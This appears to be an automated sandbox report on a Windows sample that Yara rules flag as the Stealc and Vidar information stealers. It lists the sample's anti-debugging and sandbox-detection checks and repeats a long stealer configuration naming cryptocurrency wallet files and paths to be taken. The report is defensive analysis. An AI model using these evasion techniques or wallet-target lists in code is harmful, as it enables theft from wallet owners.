Source: Web Data.9.dr	Binary or memory string: Canara Change Transaction PasswordVMware20,11696428655
Source: Web Data.9.dr	Binary or memory string: outlook.office.comVMware20,11696428655s
Source: Web Data.9.dr	Binary or memory string: www.interactivebrokers.co.inVMware20,11696428655~
Source: Web Data.9.dr	Binary or memory string: ms.portal.azure.comVMware20,11696428655
Source: Web Data.9.dr	Binary or memory string: AMC password management pageVMware20,11696428655
Source: Web Data.9.dr	Binary or memory string: tasks.office.comVMware20,11696428655o
Source: Web Data.9.dr	Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696428655z
Source: Web Data.9.dr	Binary or memory string: turbotax.intuit.comVMware20,11696428655t
Source: Web Data.9.dr	Binary or memory string: interactivebrokers.comVMware20,11696428655
Source: Web Data.9.dr	Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696428655
Source: Web Data.9.dr	Binary or memory string: dev.azure.comVMware20,11696428655j
Source: Web Data.9.dr	Binary or memory string: netportal.hdfcbank.comVMware20,11696428655
Source: file.exe, 00000000.00000002.2580701195.00000000013BE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMware
Source: Web Data.9.dr	Binary or memory string: Interactive Brokers - HKVMware20,11696428655]
Source: Web Data.9.dr	Binary or memory string: bankofamerica.comVMware20,11696428655x
Source: file.exe, 00000000.00000002.2580022348.0000000000FB8000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: Restart now?\\.\Oreans.vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\WinLicenseCreateEvent API Error while extraction the driverGetEnvironmentVariable API Error while extraction the driverOpenSCManager API Error while extraction the driverCreateService API Error while extraction the driverCloseServiceHandle API Error while extraction the driverOpenService API Error while extraction the driverStartService API Error while extraction the driverAPIC error: Cannot find Processors Control Blocks. Please,
Source: Web Data.9.dr	Binary or memory string: trackpan.utiitsl.comVMware20,11696428655h
Source: Web Data.9.dr	Binary or memory string: Test URL for global passwords blocklistVMware20,11696428655

Source: C:\Users\user\Desktop\file.exe

System information queried: ModuleInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Hides threads from debuggers

Source: C:\Users\user\Desktop\file.exe

Thread information set: HideFromDebugger

Jump to behavior

Tries to detect sandboxes and other dynamic analysis tools (window names)

Source: C:\Users\user\Desktop\file.exe	Open window title or class name: regmonclass
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: gbdyllo
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: procmon_window_class
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: ollydbg
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: filemonclass
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: file monitor - sysinternals: www.sysinternals.com

Source: C:\Users\user\Desktop\file.exe	File opened: NTICE
Source: C:\Users\user\Desktop\file.exe	File opened: SICE
Source: C:\Users\user\Desktop\file.exe	File opened: SIWVID

Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C5D5FF0 IsDebuggerPresent,??0PrintfTarget@mozilla@@IAE@XZ,?vprint@PrintfTarget@mozilla@@QAE_NPBDPAD@Z,OutputDebugStringA,__acrt_iob_func,_fileno,_dup,_fdopen,__stdio_common_vfprintf,fclose,

0_2_6C5D5FF0

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C5DC410 LoadLibraryW,GetProcAddress,FreeLibrary,

0_2_6C5DC410

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5AB66C SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,		0_2_6C5AB66C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5AB1F7 IsProcessorFeaturePresent,memset,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,		0_2_6C5AB1F7

Source: C:\Users\user\Desktop\file.exe

Memory protected: page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Yara detected Powershell download and execute

Source: Yara match

File source: Process Memory Space: file.exe PID: 3340, type: MEMORYSTR

Source: file.exe	Binary or memory string: nsProgram Manager
Source: file.exe, 00000000.00000002.2580022348.0000000000FB8000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: sProgram Manager

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C5AB341 cpuid

0_2_6C5AB341

Source: C:\Users\user\Desktop\file.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0			Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\ VolumeInformation			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\ VolumeInformation			Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C5735A0 ?Startup@TimeStamp@mozilla@@SAXXZ,InitializeCriticalSectionAndSpinCount,getenv,QueryPerformanceFrequency,_strnicmp,GetSystemTimeAdjustment,__aulldiv,QueryPerformanceCounter,EnterCriticalSection,LeaveCriticalSection,QueryPerformanceCounter,EnterCriticalSection,LeaveCriticalSection,__aulldiv,strcmp,strcmp,_strnicmp,

0_2_6C5735A0

Stealing of Sensitive Information

Yara detected Stealc

Source: Yara match	File source: 0.2.file.exe.b50000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.2578960631.0000000000B51000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2580701195.00000000013BE000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2165259580.0000000004F20000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 3340, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Yara detected Vidar stealer

Source: Yara match

File source: Process Memory Space: file.exe PID: 3340, type: MEMORYSTR

Found many strings related to Crypto-Wallets (likely being stolen)

Source: file.exe, 00000000.00000002.2601149719.00000000238DB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2601149719.00000000238DB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2601149719.00000000238DB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2601149719.00000000238DB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2601149719.00000000238DB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2601149719.00000000238DB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2601149719.00000000238DB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2601149719.00000000238DB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2601149719.00000000238DB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local 